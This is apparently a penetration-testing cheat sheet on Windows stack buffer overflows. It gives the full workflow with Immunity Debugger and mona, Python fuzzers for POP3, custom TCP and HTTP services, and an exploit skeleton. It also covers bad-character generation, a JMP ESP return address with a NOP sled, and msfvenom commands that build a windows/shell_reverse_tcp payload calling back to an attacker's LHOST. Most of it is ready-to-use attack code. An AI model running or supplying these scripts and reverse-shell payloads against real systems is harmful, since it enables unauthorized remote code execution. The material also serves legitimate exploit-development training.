12Binary Exploitation
Windows
00 Basic Process
bash53 lines
## ------------------| Setup Immunity Debugger## Run Immunity Debugger as admin user.## Press CTRL + F1 to attach service.
## ------------------| Config Mona!mona config -set workingfolder c:\mona\%p
## ------------------| Fuzzing## Run fuzzing script to catch the buffer size.## Imagine your programe was crashed when it hit 2000 buffer size,## then please use 2400 or 2600 as <BufferSize> value.
## ------------------| Find the offset value## Create cyclic pattern/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <BufferSize>## After crash the programe, copy the ESP value/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_ADDRESS>## Or you can use mona to find offset value as well.!mona findmsp -distance <BufferSize>## To verify this use buffer as followingbuf = "A" * offset + "B" * 4## Then you will get EIP as 42424242.
## ------------------| Find bad characters## Copy following as badcharsbadchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"## Edit the payload buffer as followingbuff = "A" * offset + "B" * 4 + badchars## After send the evil buffer, right click the ESP value and select Follow in Dump.## Then you can see the char values on Hex dump section.## Or you can use mona to do that for you!mona bytearray -b "\x00"!mona compare -f C:\mona\<ProgrameName>\bytearray.bin -a <ESP_ADDRESS>## Replicate the scenario until it give status as unmodified
## ------------------| Find the return address!mona jmp -r esp -cpb "<Bad_Chars>"## Then lock for Log data(2) window## After that copy the address. Ex: 0F9E24F9## And then convert it to little endian format. Ex: \xF9\x24\x9E\x0F## After all you buffer would be like followingbuff = "A" * offset + "\xF9\x24\x9E\x0F"## Before run the programe, create break point on 0F9E24F9 address.
## ------------------| Create the payloadmsfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=4545 EXITFUNC=thread -b "\x00" -f cmsfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00"## Paste hex values as followpayload = ("\xbd........\xb1""........"".....")## After all you buffer would be like followingbuff = "A" * offset + "\xF9\x24\x9E\x0F" + "\x90" * 16 + payload01 Fuzzing Skeletons
- Basic
python19 lines
#!/usr/bin/env python3import socket, time, sys
host = '192.168.228.10'port = 110
buf = "A" * 1000
while (True): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.recv(1024) s.send(bytes('USER '+buf+'\r\n',"latin-1")) s.recv(1024) s.send(bytes('QUIT\r\n',"latin-1")) s.close() time.sleep(1) buf += "A" * 1000 print("Send buffer {}!".format(len(buf)))- Source : Tib3rius
python27 lines
#!/usr/bin/env python3import socket, time, sys
ip = "10.10.11.32"port = 1337prefix = "STATS "
timeout = 5string = prefix + "A" * 100
print("================[ Fuzzing Start ]=================")while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("[+] Fuzzing {} bytes...".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("-" * 50) print("\033[38;5;208m[!]\033[0;0m Program crashed at\033[92m {}\033[00m bytes !".format(len(string) - len(prefix))) print("-" * 50) sys.exit(0) string += 100 * "A" time.sleep(1)- HTTP Fuzzer
python33 lines
#!/usr/bin/python3
import socket, time, sys
host="127.0.0.1"port=80uri="/login"
buff_size = 100
while(buff_size < 2000): try: print(f'[+] Sending malicious buffer with {buff_size} ..!') input_buffer = "A" * buff_size post_data = f'username={input_buffer}&password=test' #print(post_data) buffer = f'POST {uri} HTTP/1.1\r\n' buffer += f'HOST: {host}\r\n' buffer += f'Content-Type: application/x-www-form-urlencoded\r\n' buffer += f'Content-Length: {str(len(post_data))}\r\n' buffer += '\r\n' buffer += post_data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(buffer.encode()) s.close() buff_size += 100 time.sleep(10)
except: print("[-] Could not connect!") sys.exit()02 Crash Replication & Controlling EIP
- Source : Tib3rius
- Exploit Skelton
python26 lines
#!/usr/bin/env python3import socket
ip = "10.10.11.32"port = 1337prefix = "STATS "
offset = 0overflow = "A" * offsetretn = "" # 625011AF <--> \xaf\x11\x50\x62padding = "" # "\x90" * 16payload = ""postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: s.connect((ip, port)) print("-" * 50) print("[!] Sending the buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("\033[38;5;208m[+]\033[0;0m Done!") print("-" * 50)except: print("[*] Unable to connect!")03 Generate bad chars
- From joshua17sc
python18 lines
#!/usr/bin/env python3
from __future__ import print_function
#tart with 00 and add any others you findbad = "00".split()
#turns them into a nice string to copy into pythonprint("badchars = ")for x in range(1, 256): if "{:02x}".format(x) not in bad: print("\\x" + "{:02x}".format(x), end='')
#creates a nice string to use in Monaprint("\n\nfor mona")for byte in bad: print("\\x{}".format(byte), end='')print()python4 lines
#!/usr/bin/env python3for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='')print()04 Mona Scripts
bash12 lines
# -----------------| Configure mona for current running application!mona config -set workingfolder c:\mona\%p
# -----------------| Finding the crash!mona findmsp -distance 600
# -----------------| Finding the bad chars!mona bytearray -b "\x00"!mona compare -f C:\mona\bytearray.bin -a <address>
# -----------------| Finding a Jump Point!mona jmp -r esp -cpb "\x00"05 Spiking
bash6 lines
./generic_send_tcp <IP/HOST> <PORT> script.spk 0 0
# -----------| spike script templates_readline():s_string("CMD ");s_string_variable("0");